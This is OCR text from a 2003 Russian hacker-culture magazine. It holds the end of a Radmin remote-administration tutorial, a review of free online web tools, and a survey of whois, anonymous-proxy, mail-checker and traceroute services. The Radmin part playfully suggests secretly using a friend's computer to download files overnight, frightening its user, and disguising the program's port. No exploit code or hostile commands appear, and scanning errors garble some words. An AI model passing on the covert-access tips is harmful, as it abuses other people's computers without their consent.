коннектиться к серверной части 
только заданному диапазону ад- 
ресов. Опять же, чтобы кроме те- 
бя больше никто не мог подсоеди- 
ниться к серверу. Вместе с паро- 
лем это создает уже более весо- 
мую защиту. Злобный хацкер сра- 
зу и не достанет. Обязательно от- 
меть Use IP filer галкой и задай 
нужные IP кнопкой Add. Для go- 
бавления единственного IP укажи 
этот адрес, а маску задай 
255.255.255.255. Если тебе нужен 
доступ с нескольких компов той 


же или другой сети, укажи первые 
три значения адресов в этой сети, 
а вместо последнего укажи 0, 
например - 192.168.1.0. В качестве 
маски в этом случае укажи 
255.255.255.0. Use default port - 
задает порт, по которому клиент и 
сервер общаются. По умолчанию 
это 4899. Для безопасности мо- 
жешь попробовать снять галку с 
этого пункта и установить свой 
порт или даже замаскировать 
прогу под какой-нибудь сервис, 
не используемый на этом компе, 
указав его порт. Это осложнит 
жизнь какой-нибудь редиске при 
сканировании портов; опреде- 
лить, что на той тачке использу- 
ется именно Remote 
Administrator, будет трудно. При 
этом не забудь в клиентской час- 
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Тонкая настройка 


ти при соединении указать тот же 
порт. Ask user permission to allow 
incoming connection - если ты это 
установишь, то клиентом нельзя 
будет подсоединиться, пока поль- 
зователь не разрешит это сде- 
лать. Для сервера не очень по- 
лезно, так как за ним никто не си- 
дит, а вот для помощи пользова- 
телям или друзьям - не помеша- 
ет, чтобы они были в курсе дела, 
что ты именно помочь им решил, 
а не подсмотреть, по каким пор- 
носайтам они шастают :). Вот и 
все, что можно сказать по сер- 
верной части. 


Окно соединений 


КЛИЕНТИК 

Теперь поговорим о клиенте. 
Сначала нужно создать в нем 
новое соединение. Либо можно 
подсоединиться моментально. В 
обоих случаях надо указать при 
этом IP адрес компа или его се- 
тевое имя. А также надо указать 
порт, если ты изменил порт по 
умолчанию в серверной части. 
Можно выбрать, как ты хочешь 
подрубиться к удаленной тачке, 
то есть ты можешь подконне- 
титься, чтобы получить полный 
контроль над системой, наблю- 
дая при этом экран удаленного 
компьютера и управляя им так 
же, как если бы ты сидел за ним. 
Причем, надо отметить, что 
Remote Administrator довольно 
шустро с этим справляется. Ho 
траффика жрет нехило. Так что 
будь осторожен, если ты на вы- 
деленке. Через диал-ап, конечно 
же, это все несколько тормозит. 
Также можно просто наблюдать 
за этим экраном без получения 
контроля. Еще можно подсоеди- 
ниться в режиме командной 
строки, как будто ты работаешь 
в консоли за тем компьютером 
(шелл! :)). Можно только обмени- 
ваться файлами между твоим 
компьютером и удаленным. Ли- 
бо, наконец, просто выключить 
его. Если ты задал логин и па- 
роль на серверной части, то, 
прежде чем выполнить любое из 
этих соединений, тебе нужно бу- 
дет их ввести. 


Админим... 


SOFT/RADMIN КАК ВЕБ-ТУЛЗА 


И ЧТО ТЕПЕРЬ? 

Все это предоставляет тебе за- 
мечательные возможности. Мож- 
но, например, шариться по уда- 
ленному винту, даже если он не 
расшарен. Можно попросить gpy- 
гана вставить в цэ-9э-ром какой- 
нибудь нужный тебе диск, и не 
бежать к нему за ним. Можно 
также смотреть вместе с ним ки- 
но, но без звука - этого прога не 
умеет. Еще появилась возмож- 
ность лазить в Инете с чужого 
компа. Особенно весело это, ког- 
да вы с этим челом сидите в од- 
ной сети, а Инет есть только у 
него, и он не очень-то хочет пус- 
кать через свой комп в Инет всех 
подряд. В этом же случае можно 
заставить его комп скачать для 
тебя что-нибудь из Инета, и не 
особо разоряться на трафике. 
Если у него соединение по выде- 
ленке (или даже по диал-апу) и 
он частенько оставляет комп на 
ночь, то он может даже не дога- 
даться о том, что за ночь его 
комп скачал из сети новый 
фильмец. А ты потом просто пе- 
регонишь его к себе по внутрен- 
ней сети, если вы с ним в одной 
сети, конечно. Либо просто зава- 
лишься с винтом под предлогом 
«а вот я тебе ща такую клевую 
софтину покажу!» :). 

Самый интересный эффект, 
который был обнаружен во вре- 
мя юзанья RAdmin'a - это так 
называемый зеркальный эф- 
фект. Если запустить у себя 
серверную часть и подконнек- 
титься по своему же айпишнику 
клиентской частью, то ты как 
бы увидишь свой же экран в ок- 
не RAdmin’a, но он начнет бес- 
конечное дублирование самого 
себя. И так будет до бесконеч- 
ности, пока ты не закроешь ос- 
новное окно клиента. А уж как 
можно испугать чела, которому 
ты поставил серверную часть! 
Попробуй зайти к нему своим 
клиентом, запустить у него кли- 
ента и открыть его клиентом его 


же тачку. А если еще и не да- 
вать ему закрыть это окно с по- 
мощью своей мыши... Такое мо- 
жет напугать даже бывалого 
компьютерщика! 

Еще как вариант - зайди на 
комп с серверной частью, запус- 
ти там клиента и зайди им еще на 
какой-нибудь комп с установлен- 
ным сервером, с того компа еще 
на один... так можно зайти на 
сколько угодно компов друг за 
другом. Или же зайди с того ком- 
па на свой комп. Вариантов мож- 
но много придумать :). 

Также интересна и попытка зай- 
ти на один комп с серверной 
частью одновременно с несколь- 
ких тачек. Это прямо как в басне 
Крылова про лебедя, рака и щуку, 
которые тянули повозку в разные 
стороны. Каждый хочет подвести 
курсор к разным кнопкам и знач- 
кам на экране, но ничего ни у кого 
не выходит, и курсор только судо- 
рожно дрыгается из стороны в 
сторону. Побеждает самый терпе- 
ливый и настойчивый! 

Все это шутки, конечно, но это 
стоит того, чтобы попробовать. 
Выглядит весьма прикольно. Да 
и знаешь, какое впечатление на 
непосвященных оказывает комп, 
который сам у себя двигает кур- 


Вот он, мой сервачок! 


сором и запускает программы! 
Вспоминаются вестерны про ди- 
кий запад. У них там, в салунах, 
бывали такие пианино, в которых 
было интегрировано некое подо- 
бие музыкальной шкатулки, и эти 
пианино мало того что издавали 
музыку без помощи музыканта, а 
еще и клавиши на них сами на- 
жимались. Вот примерно такой 
же случай, только вот кнопки на 
клавиатуре при этом сами не на- 
жимаются :). А жаль :). 

Как видишь, эту прогу удобно 
использовать во многих случаях. 
И при этом не бояться, что кто- 
нибудь другой влезет на компью- 
тер с серверной частью, так как 
она обладает вполне достойной 
защитой, если ты ее грамотно 
настроишь. А главное, не забы- 
вай всех преимуществ, которые 
ты можешь получить, используя 
ее в работе и в помощи юзерам и 
особенно - юзершам :). 
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о отдельного внимания 3a- 
служивают ресурсы, на ко- 
торых выставлены скрип- 

ты, сильно упрощающие виртуальную 

жизнь. Прелесть заключается в том, 
что они уже готовы к дистанционному 
употреблению. Ничего не надо скачи- 
вать, устанавливать и настраивать. Ко- 
роче, мучаться не надо :). Просто наб- 

рал адрес, узнал, что нужно, и ушел. И 

все бесплатно! 


ПОИСКОВЫЕ СЕРВЕРА 

Без них в Инете, как без рук: все све- 
лось бы к поиску черной кошки в чер- 
ной комнате, еще и после водки :). Если 
ты не знаешь точный адрес сайта с 
искомой информацией, то поисковик - 
единственная надежда, чтобы выйти на 
след. Достаточно сказать, что написа- 
ние этой статьи было бы невозможным 
без использования мощностей поиско- 
виков. По сути поисковой сервер - это 
навороченный скрипт, который позво- 
ляет в реальном времени осуществлять 
поиск, перелопачивая горы накоплен- 
ной информации, и выдавать ответ на 
запрос в считанные секунды. При этом 
алгоритмы хранения информации, ме- 


тоды поиска по запросу и способы 
представления результатов на разных 
поисковиках могут кардинально отли- 
чаться. Но ты ничего этого не видишь, 
для тебя главное - результат. Одно по- 
нятно наверняка: искать русскоязыч- 
ные ресурсы целесообразнее через 
российские поисковики, а англоязыч- 
ные - через забугровые. Всего суще- 
ствует несколько десятков поискови- 
ков, но реально пользуются единица- 
ми. Чаще всего ищут через: 


Rambler (www.rambler.ru) 
Япаех (www.ya.ru) 

AltaVista (www.altavista.com) 
Excite (www.excite.com) 
HotBot (www.hotbot.com) 
Google (www.google.com) 
Yahoo! (www.yahoo.com) 
Lycos (www.lycos.com) 


АНТИВИРУСЫ 

Видимо, сражаясь за новых клиентов и 
пытаясь привлечь внимание к своей 
продукции, а параллельно насилуя на- 
ше падкое подсознание, которое и так 
имеют все рекламодатели :), отече- 
ственные антивирусные гиганты сдела- 
ли на своих сайтах скрипты, которые 
позволяют теперь проверять файлы на 
наличие вирусов онлайн (!). Очень 
удобная альтернатива, если на компе 
не установлен антивирус либо его ви- 
русная база морально устарела, а ап- 
грейдить ее жутко в лом :). Тогда через 
элементарную форму выбираешь по- 
дозрительный файл со своего винта, 
подгружаешь его на "санитарный" сер- 
вер и запускаешь проверку на вирусы. 
Если нужно проверить одновременно 
несколько файлов, то упакуй их в один 
архив (*.arj, *.71р или *.rar) и проверяй 
на здоровье. 


Лаборатория Касперского (www.kasper- 
sky.ru/remoteviruschk.html) немного по- 
жидилась в этом проекте, позволяя про- 
верять файлы и архивы размером не бо- 
лее одного метра. А вот Dr.Web - молод- 
ца (http://online.drweb.ru или http://anti- 
virus-online.ru), не предъявляет никаких 


WEB/COOT ЧЕРЕЗ БРАУЗЕР 


ограничений к проверяемым сфай- 
лам. Единственное, чем больше 
файл, тем дольше его подгружать 
на сервер. Хотя мне кажется, что 
самое полезное в этом сервисе - 
проверка свежескачанных кряков 
:). Громадный плюс этой гуманной 
затеи заключается в том, что в он- 
лайновой версии проверка всегда 
ведется с использованием самой 
свежей версией антивирусной 
программы, включающей все по- 
следние дополнения по новым ви- 
русам, ни одна гнида не проползет 
:). Однако ты проверяешь отдель- 
ные сфайлы, а память, загрузоч- 
ный сектор или целые директории 
проверить уже не получится. По- 
добное телодвижение возможно с 
PC Pitstop Virus Scan (www.pcpit- 
stop.com/antivirus), но для этого 
придется поставить дополнитель- 
ный ActiveX-KOMNOHEHT. При за- 
грузке сайта установка недостаю- 
щего компонента предлагается ав- 
томатически. Так что вооружайся 
и предохраняйся онлайн! 


ПОЧТОВЫЕ ИНДЕКСЫ 
Допустим, тебе нужно написать 
обычное письмо (в смысле то, ко- 
торое в конвертике). Мало ли 
вступит :). Так вот, часто почто- 
вый адрес известен, а индекс нет. 
Сам адрес можно легко узнать по 
телефонной базе, зная телефон 
(при условии, что у жильца есть 
телефон в принципе). А дальше, 


зная название улицы и номер go- 
ма, с помощью скрипта на сайте 
http://indexes.boom.ru вычисля- 
ешь почтовый индекс. Номер go- 
ма не обязателен, но бывает так, 
что одна часть домов с улицы 
Беспризорной идет с одним ин- 
дексом, а другая часть домов - с 
другим. Если ты ошибешься ин- 
дексом, катастросры не будет, но 
письмо может не дойти до адре- 
сата. На случай, если тебя застал 
злостный склероз :), поиск на 
http://indexes.boom.ru можно ве- 
сти по первым 4-м буквам из наз- 
вания улицы. Возможен и обрат- 
ный поиск: по индексу выводится 
список улиц, которые к нему при- 
креплены. Аналогичные поиско- 
вики: www.zipcode.ru/zipcode, 
www.infobroker.ru/zip.html, 
http://postindex.otrok.ru и т.д. 


КАРТЫ 

Если почтовые индексы нужны не 
так часто, то карта города нужна 
постоянно: куда-то съездить, что- 
то найти, выбрать удобный марш- 
рут и т.п. Наиболее удачная по 
исполнению и функциональным 
возможностям интерактивная 
карта Москвы - MOSMAP 
(www.moscowmap.ru). Вводишь 
нужный адрес и вперед по коч- 
кам :). Для поиска в названии 
улицы достаточно указать пер- 
вые 3-5 символов, тебе будет вы- 
веден список всех улиц с нумера- 
цией домов, подпадающих под 
заданный шаблон. Уточнив адрес 
(улицу и номер дома), ты полу- 
чишь наглядную схемку (вид 
сверху), на которой отображены 
искомый объект и прилегающие 
окрестности. В дальнейшем эту 
графическую шнягу можно вся- 
чески масштабировать, вращать 
и сдвигать в разных направле- 
ниях от объекта. В конце баталий, 
само собой, можно распечатать. 
Альтернатива MOSMAP - 
http://moscow.nakarte.ru, для Пи- 
тера есть отдельные карты: 
http://spb.nakarte.ru и 
www.yel.ru/map. 


Кому-то пригодится своеобраз- 
ный проект www.naitiprosto.ru. Он 
позволяет искать адреса, теле- 
фоны, факсы, веб-сайты и мыль- 
ники различных организаций, на- 
ходящихся поблизости к интере- 
сующей станции метро, улице, 
маршруту автобуса (!), троллей- 
буса или трамвая. То есть поиск 
осуществляется по расположе- 
нию относительно чего-либо. 
Если из полученного списка орга- 
низаций выбрать интересующую, 
то дополнительно выводится 
краткое описание, контактная ин- 
формация и схематичная карта 
района, по которой легко сориен- 
тироваться, на чем и как подъе- 


хать, подойти или незаметно Nog- 
ползти :). 


ПЕРЕВОДЧИКИ 

Изучать горы мануалов, факов 
(faq), новостей или серьезных ли- 
тературных произведений на ан- 
глийском языке без хорошего 
словаря затруднительно. Можно, 
конечно, тискать огроменный бу- 
мажный талмуд а-ля Большой Ан- 
гло-русский и Русско-английский 
словарь, листая туда, сюда и об- 
ратно. А можно воспользоваться 
услугами бесплатных онлайн-пе- 
реводчиков. Наиболее популяр- 
ный - PROMT's Online Translator 
(www.translate.ru). Это крупный 
портал, позволяющий перево- 
дить тексты, целиковые странич- 
ки на сайтах (с полным сохране- 
нием оригинального форматиро- 
вания, гиперссылки тоже перево- 
дятся), мыльные романы и WAP с 
четырех языков мира: английско- 
го, немецкого, французского и 
испанского. Ограничение перево- 
да - go 500 символов одновре- 
менно, но, заполнив регистра- 
ционную анкету (бесплатную) с 
кучей вопросов, ты увеличива- 
ешь этот лимит до 2000 симво- 
лов плюс получаешь дополни- 
тельный доступ к специализиро- 
ванным словарям и грамматиче- 


ea 
05(30) 2003 ПРИЕМЕ 


1а5ил.1-аз3а 


DT ЧЕРЕЗ БРАУЗЕР 


ВЕБ-ТУЛЗЫ 


ской информации по каждому ин- 
тересующему слову из перевода. 


PROMT's Online Translator плох 
тем, что изрядно забит рекламой. 
Если тебе нужно перевести толь- 
ко отдельные слова или фразы с 
английского или на английский, 
для перевода идеально подойдет 
более быстрый Andex.Lingvo 
(http://lingvo.yandex.ru), содержа- 
щий минимум рекламы. Если тебя 
не устроит качество перевода, то 
пробуй другие аналогичные пере- 
водчики: www.perevodov.net, 
http://babel.altavista.com, 
http://translate.rax.ru и т.д. Много 
ссылок на разные словари есть 
на http://datum.na- 
rod.ru/dict_r.html. 


ТОЛКОВЫЕ СЛОВАРИ, ЭНЦИ- 
КЛОПЕДИИ И СПРАВОЧНИКИ 

В русском языке по самое не ба- 
луйся специфических терминов, 
определений и иностранных за- 
имствований, с которыми ты мо- 
жешь столкнуться на просторах 
Инета. Чтобы не напрягаться по 
поводу непонимания этих терми- 
нов и определений, существуют 
толковые словари, в которых все 
разжевывается и кладется в рот 
:). Искать словари, энциклопедии 


и справочники проще всего че- 


рез крупные порталы. К примеру, 
залезаешь на http://encycl.yan- 
dex.ru, и в твоем распоряжении 13 
(!) словарей и энциклопедий. A 
посетив Мир Энциклопедий 
(www.encyclopedia.ru/inter- 
net.html), ты получишь ссылки 
сразу на 47 (!) разнокалиберных 
словарей и энциклопедий по все- 
му Инету с кратким описанием по 
каждой ссылке. Еще один непло- 
хой портал - ГРАМОТА.РУ 
(http://slovari.gramota.ru). Посмо- 
три все и выбери, что подойдет. 


ПРОВЕРКА ОРФОГРАФИИ 
Орфографические ошибки - гло- 
бальная проблема в Инете. Со 
стороны друзей и в чатах это 
простительно, но все равно коро- 
бит. При деловой переписке это 
уже недопустимо. Загружать каж- 
дый раз Word вовсе необязатель- 
но. Для этих целей можно задей- 
ствовать ресурсы Инета. ОРФО- 
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Online (www.informatic.ru/or- 
fo_online.aspx) - прекрасная си- 
стема проверки Opcporpacpuy, ра- 
ботающая онлайн. Введенный на 
русском, английском или украин- 
ском языке текст обрабатывает- 


ся, и все слова, в которых допу- 
щены орфографические ошибки, 
помечаются красным цветом. Ис- 
правляй и прогоняй еще раз. 
Если при последующей проверке 
скажет, что все пучком, можешь 
безбоязненно засылать текст ag- 
ресату. Хотя сначала проверь 
пунктуацию ;). 


Есть подобная забугровая про- 
верка - SpellChecker 
(www.spellchecker.net/demos/res- 
ume.htm). Это демо-версия, но pa- 


кликом тут же вставить в текст 
вместо ошибочного варианта. 


ГРАФИЧЕСКИЕ РЕДАКТОРЫ 
Благодаря стараниям MediaBuil- 
der теперь существует полно- 
функциональный онлайновый ре- 
дактор 9!-файлов - GIFWorks 
(www.gifworks.com). И что уж сов- 
сем непохоже на забугровых раз- 
работчиков, проект совершенно 
бесплатный (!). Чтобы поюзать 
новое чудо, тебе понадобится 
браузер ИЕ или НетШкаф He ни- 
же 3-ей версии с поддержкой Ja- 
vaScript. Заходишь на Www.gif- 
works.com, прогружается неболь- 
шой графический редактор с ме- 
нюшками и рабочей областью. 
Можешь загрузить свою картин- 
ку (с винта или любого сайта), 
можешь использовать предло- 
женные на сайте. Поддерживают- 
ся статические и анимированные 
д!-файлы. Возможности редакто- 
ра далеки от фотошопа, но впе- 
чатляют. В редакторе предлагает- 
ся более 40 (!) встроенных эф- 
фектов, инструменты масштаби- 
рования, поворота изображения, 
добавления прозрачности, опти- 
мизации цветов и многое другое. 
Есть даже горячо любимое Undo 


Кстати, в почте Яндекса (http: 


mail.yvan- 


dex.ru) есть встроенная функция проверки 
орфограсрии. Написав письмо, нажимаешь 
соответствующую кнопку и видишь все 
слова с орсфографическими ошибками и 
предложения по их замене. Если в тексте 
есть русские и английские слова, то про- 
верку придется провести дважды: сначала 
на русском языке, затем на английском. 


ботает и хорошо :). Без напряга 
проверяет текст на 12 языках ми- 
ра (русского нет), плюс для всех 
слов с орфографическими ошиб- 
ками предлагает наиболее подхо- 
дящие правильные версии, лю- 
бую из которых можно двойным 


ыы 


;). Внизу располагается полоска 
статуса, показывающая текущий 
размер gif-qpauna, его размеры и 
количество цветов. Жаль, что 
нельзя делать анимацию непо- 
средственно из этой програм- 
мульки и нельзя сделать коллаж 
из нескольких дй-файлов, рабо- 
таешь только с одним. Когда Ha- 
доест изгаляться над картинкой, 
свое творение можешь сохранить 
на винт или по фтп (тогда при- 
дется светить пароль). Всем, кто 
еще не видел эту фишку, сове- 
тую поиграться ;). 


ТРЕХМЕРНЫЕ БАННЕРЫ 

Еще одно детище MediaBuilder - 
3D Text Maker (www.3dtextma- 
ker.com). Пошаговый конструктор, 
с помощью которого ты сделаешь 
себе прикольный текстовой ани- 
мированный баннер любого раз- 
мера. В арсенале несколько сотен 


WEB/COOT ЧЕРЕЗ БРАУЗЕР 
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(!) шрифтов в 6 различных кате- 
гориях, наглядный выбор цветов 
и куча настроек для анимации; 
размер баннера можно выбрать 
стандартный или произвольный. 
После сохранения можешь пере- 
слать в СЕ\\огК$, чтобы Hagpy- 
гаться еще больше :). 


ГЕНЕРАТОРЫ ЛОГОТИПОВ 
Отличный онлайн-конструктор 
CoolText (www.cooltext.com), на 
этот раз по логотипам и кнопкам. 
Все делается на основе готовых 
шаблонов с помощью удобных 
настроек. Шаблонов для кнопок 
маловато, и они какие-то убогие 
:), а вот шаблоны для логотипов 
(22 штуки) порадовали, плюс 


оригинальные шрифты (52 шту- 
ки) и симпатичные текстуры (118 
штук). У каждого шаблона свои 
настройки, сохранять можно в 
трех форматах: gif (с прозрачно- 
стью или без), jpg или png (с про- 
зрачностью или без). Экспери- 
ментируй! 


НТМЕ-ВАЛИДАТОРЫ 

Если ты строчишь свою пагу ис- 
ключительно в NotePad, то это не 
дает гарантии, что ты нигде не на- 
портачил с тэгами. Поэтому стоит 
конечный хтмл-код проверять на 
корректность. Для этого суще- 
ствуют так называемые хтмл-ва- 
лидаторы (от английского valida- 
{е, утверждать), которые проверя- 
ют соответствие написанного 
хтмл-кода спецификациям W3C 
НТМЕ и ХНТМЕ. Причем различа- 
ют несколько валидаторов, npeg- 
назначенных для HTML, CSS, RDF 
и XML. Тебе понадобится первый. 


Проще всего делать проверку 
на сайте отца всей специфика- 
ции - W3C HTML Validation Service 
(http://validator.w3.org). Прове- 
рять можно хтмл-файл с винта 
или непосредственно в Инете, за- 
давая к нему путь. Единственное, 
у W3C HTML Validation Service от- 
чет проверки суховатый и не Ha- 
глядный. Меня больше прет 
www.htmihelp.org/tools/validator, 
тут тебя тыкают в каждую ошиб- 
ку рожей, так что не пропустишь 
:). Тем более тут можно сделать 
проверку только по умершим 


ссылкам, это наиболее актуаль- 
ная беда всех сайтов. 


HitboxCentral (http://resources.hit- 
box.com/cgi-bin/page.cgi?tools/doc) 
умеет большее: проверяет Ha не- 
работающие линки, на скорость 
загрузки и наличие мета-тэгов, 
есть проверка на грамматические 
ошибки, но в английских словах. В 
конце проверки ты получишь по- 
дробный отчет по 5 категориям: 
неработающие линки (Broken 
Links), ошибки в синтаксисе (HTML 
Syntax), ошибки в грамматике 
(Spelling), оценка скорости загруз- 
ки (Load Time) и наличие необхо- 
димых мета-тэгов (Meta Tags). 


ПЕРЕКОДИРОВЩИКИ 

Разные кодировки - извечная 
проблема чатов и почтовых пере- 
писок. Один пишет в KOI, другой в 
WIN, а третий вообще TRANSLI- 
ТОМ :). Можно долго ругаться ма- 
том, призывать писать левой ру- 
кой, но ситуация не изменится. 
Проще найти средства, которые 
помогали бы оперативно кодиро- 
вать из одной кодировки в любую 
другую. И их в Инете хватает. Но 
я потому и оставил перекодиров- 
щиков напоследок, что писать 
про них не буду :). Из-за своей по- 
лезности они выведены в отдель- 
ную статью, которую ты найдешь 
на страницах этого же журнала. 


Приятного тебе онлайнового 
существования! 
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ВЕБ-ТУЛЗЫ 


|| Онлайновые 


мейлчекеры - 
веб-интер- 
фейс для 
твоего про- 
BOBCKoro 
ящика с go- 
ступом через 
pop3 или imap 
протоколы. 
Только чтобы 
юзать их, 
пробей как- 
нибудь адрес 
рор-сервера. 


Нужны ано- 
нимные прок- 
ся? Не во- 
прос! Прове- 
рить список? 
Запросто! 
Провериться 
самому? Два 
пальца об ас- 
фальт - ргох- 
ychecker.ru! 
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Matsutsu Gofufu (matt@nm.ru) 


ХАЦКЕРСКИЕ ТУЛЗЫ 


СЕТЕВОЙ АРСЕНАЛ ВЗЛОМЩИКА 


Даже если ты не занимаешься хаком, а уж тем более если ты им занимаешься, часто 


приходится рыть инфу в Инете про домены, серваки, прятаться за анонимные прокся и 


пионерить шестизначные аси. Для этих целей написана туева хуча разных прог, но и 
без них можно обойтись. 


так, ргоху- и та- 
ilchecker'bl, whois-, 
ping-, nslookup-cep- 
висы, анонимные серферы и про- 
чие крайне необходимые тулзяки 
в Сети. Понеслась, родимая! 


WHOIS-CEPBHCbI 

Whols-cepBuc получает регистра- 
ционную информацию о домене. 
То есть ты можешь узнать, кто 
владелец определенного домена, 
когда он был зарегистрирован, до 
какого времени делегирован, ад- 
рес службы техподдержки, днс- 
сервера и прочую полезную инфу. 


Whois service | РосНИИРОС 
http://www.ripn.net:8080/nic/ 
whois/ 

Это хуиз-сервис админа домена 
.ру. Кроме получения инфы по 
домену второго уровня россий- 
ской зоны, этот подопытный мо- 
жет рассказать тебе про адрес в 
доменах общего пользования 
(com, net, org, info, biz, name), про 
службу техподдержки, NUYHOCTb 
и организацию, зарегистрирован- 
ные в РосНИИРОСе. И помни: 
если хочешь проверить доступ- 
ность доменного имени для реги- 
страции, в целях защиты от 
сквоттеров, пользуйся этим сер- 
BUCOM. 
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Whois Source - Domain Whois 
Search Tool! 

http://www.whois.sc 

Главной достопримечательно- 
стью WWW.whois.sSc является спо- 
собность искать доменные имена 
второго уровня по их части... Про- 
ще говоря, ты вводишь несколь- 
ко букв домена, а он выдает все 
адреса, в которых встречается 
эта подстрока. Получается что-то 
типа поиска. Например, вводишь 
"хакер", а он тебе: супер-ха- 
kep.org, xakep-ua.com, xakep.com 
иеще 73 домена второго уровня. 
xakep.ru, правда, в их число не 


входит - просматриваются только 
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зоны .сот, .net, .org, .info, .biz, .us. 
Нашел нужный тебе адрес - жми 
на зону и получай стандартный 
отчет whois-cepsuca. Кроме того, 
можно выбирать область поиска 
(активные/не активные домены), 
а для каждого найденного домена 
отображается его состояние (за- 
регистрирован и активен, реди- 
рект; зарегистрирован, но нет па- 
ги; домен освобожден и T.G.). 

Если не помнишь точно адрес, 
этот хуиз тебя выручит. 


GEEKTOOL $: Whois Proxy 
http://www.geektools.com/ 
cgi-bin/proxy.cgi 

Гиктулз попал в этот обзор за то, 
что выдает инфу по домену в ЛЮ- 
БОЙ зоне. Как он это делает? 
Коммерческая тайна... Но тебе я 
ее открою. Просто он напрямую 


общается с хуиз-серверами за- 
прашиваемых зон. То есть, если 
ты вводишь хакер.ги, OH обраща- 
ется к роснииросовскому whois- 
серверу и спрашивает: "Кто такой 
хакер?". Если вводишь xakep.jo, 
он звонит в Иорданию и у там- 


= --- 


ошнего заведующего спрашива- 
ет: "Whols fucking xakep?”. Спе- 
циально для тебя Гиктулз может 
разузнать про домены в зонах 
com.ru, net.ru, pp.ru, msk.ru, spb.ru. 
Вот только с хуизами .tv, .fm и не- 
которых других доменов верхнего 
уровня ему найти общий язык, к 
сожалению, не удалось. 


ПРОКСЯ И ИХ ЧЕКЕРЫ 

Ну, что такое прокси - долгая ис- 
тория, да ты ее и сам знаешь. Так 
что никаких прелюдий - поехали! 


PROXY-Checker 
http://www.proxychecker.ru/ 
Нужны анонимные прокся? He 
вопрос! Проверить список? За- 
просто! Провериться самому? 
Два пальца об асфальт! Един- 
ственное, что - тебе придется за- 
регистрироваться Ha proxychec- 
ker.ru. Здесь это быстро: от тебя 
требуются только мыло и пароль 
(2 раза). Зато, зарегистрировав- 
шись, можешь проверять списки 
проксей, получаешь доступ к нев- 
переннейшей базе анонимных и 
искажающих ргоху-серверов, ко- 
торую можно запросто слить се- 
бе на винт в виде списка айпиш- 


ник:порт. Hy, а если тебе обломно 
регистрироваться, довольствуйся 
проверкой проксей по одному и 
просмотром инфы, которую легко 
получить, не задавая тебе лиш- 


| 
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них вопросов (по все тем же 
проксям). 


Проверка прокси-сервера 

на анонимность 
http://www.samair.ru/proxy/ 
proxychecker/ 

Если тебе напряжно регистриро- 
ваться и надо всего-то прове- 
риться на анонимность, рули сю- 
да. После нажатия кнопки "YES" 
в самом верху страницы появится 
инфа: прозрачные твои прокси 
али нет. Ну, а внизу еще куча 
всякого бреда... 


МАТСНЕСКЕВ"Ы 

Что это за звери и с чем их едят? 
Если говорить об онлайновых 
мейлчекерах, то это нечто, похо- 
жее на любое шаровое мыло, но 
работающее с ЛЮБЫМ ящиком. 
Другими словами - это веб-интер- 
фейс для твоего ящика (провов- 
ского, например) с доступом че- 
рез pop3 или imap протоколы. 
Единственное, что тебе придется 
где-то пробить (кроме логина и 
пароля, естественно) - адрес поп- 
или имап-сервера. 


easyPOP 

http://www.easypop.de 

Дас ист айне Дойче мейлчекер. И 
английского интерфейса здесь 
тоже нет. Нет возможности прос- 
мотра хедера сообщения и, под- 
става такая, проблемы с кирилли- 
цей в теме письма. Ну и хакер с 
ним. Зато изиПОП (не путать с Зи- 
ЗиТоп!) сам распознает русский в 
теле мессаги и имеет самый про- 
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стой интерфейс, что, несомненно, 
сказывается на скорости: ни кар- 
тинок, ни баннеров. Даже содер- 
жимое |пБох'а отображается не в 
виде таблицы, а в виде списка. А 
теперь, во избежание незаплани- 
рованного удаления писем, крат- 
кий мануал по пользованию (он 
же - урок немецкого): 

Lesen - прочитать, 

Loshen - удалить (как оказа- 
лось...), 

Weitere - далее, 

нечитабельная надпись сверху - 
новое письмо. 


mail2web 
http://www.mail2web.com 

Вот мы и подобрались к мейлчек- 
еру-интеллектуалу-полиглоту, 
который поддерживает англиц- 
кий, немецкий, иврит и даже 
(епрст, не может быть!) русский 
языки. Плюс к такому счастью - 
интеллектуальный вход в систе- 
му, который не требует от тебя 
даже знания адреса почтового 
сервера. Mail2web по твоему мы- 
лу сам пытается определить этот 
адрес. Но это теория - у меня он 
так и не заработал, пришлось ру- 
лить на "расширенный вход" (ad- 
vanced) и вручную вводить ag- 
рес. Судя по всему, весь "интел- 
лект" заключается в подстанов- 
ке перед доменом "рор3" и 
"pop". Но, если логиниться через 
продвинутый вход, можно рабо- 
тать с imap-cepBepom. 


В папке Inbox есть возможность 
искать мессагу по отправителю 
или теме, переключать язык ин- 
терфейса можно в любой момент, 


но вот под Оперой аттачить фай- 
лы к новому письму не получает- 
ся - говорит, старая бродилка. И 
последний рекламный блок: ника- 
ких (почти) проблем с кирилличе- 
скими темами! 


TRACEROUTE 

Traceroute - это такая фишка, ко- 
торая показывает путь, проходи- 
мый твоими !р-пакетами go запра- 
шиваемого компа (не напрямую 
же они идут, когда набиваешь ха- 
kep.ru). Проблема онлайновых Ba- 
риаций заключается в том, что 
узнать маршрут они могут только 
от своего сервака. Таким обра- 
зом, о пути, проходимом от ТВОЕ- 
ГО компа, ты можешь только go- 
гадываться... 


GEEKTOOL S: Traceroute 
http://www.geektools.com/ 
traceroute.php 

Мы снова возвращаемся Ha Гик- 
тулз.ком. Собственно, интересую- 
щего Hac traceroute-cepBuca этот 
сайт не представляет. На фига 
мы сюда приперлись? Есть у него 
другой плюс - приличная база 
трейсрутеров в разных странах 
мира: Сингапур, Индонезия, Эсто- 
ния, Россия и еще двадцать пять 
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Весь ero "ин- 
теллект"', по- 
хоже, заклю- 
чается в под- 
становке пе- 

ред доменом 


что пришлось 
рулить на 
"advanced lo- 
gin” и самому 
вводить адрес 
поп-сервера. 


Если ты вво- 
дишь ха- 
kep.ru, он об- 
ращается к 
роснииросов- 
скому whois- 
серверу и 
спрашивает: 
"Кто такой 
хаКер?". Если 
вводишь ха- 
kep.jo, он зво- 
нит в Иорда- 
нию иу там- 
ошнего заве- 
дующего 
спрашивает: 
"Who Is fuc- 
king xakep?". 
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ISELfAL-938 


Читайте в майском 
номере журнала 
"Свой бизнес": 


® Интервью с создателем 
первой в России компании 
по продаже "готового 
бизнеса" Вадимом 
Самсоновым 


® Пивные павильоны: кто 
преуспеет летом? 


® Сколько зарабатывают 
"охотники за головами" 


® Регистрация фирмы: 
подробное руководство к 
действию 


® Кредиты: неписанные 
правила успешного 
общения с банком 


® Что такое партизанский 
маркетинг? 


А также 

советы юристов и психо- 
логов, обзоры техноло- 
гического оборудования 

и другая информация, 
которая поможет построить 
успешный бизнес 


HTTP://WWW.MYBIZ.RU 
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стран. Всего 125 серверов. Из них 
российский только один :(. Зато 
американских 46!!! Но можно go- 
бавлять... российские ;). 


Списки {гасегоц "ов 

Гиктулз - отстой? Только один 
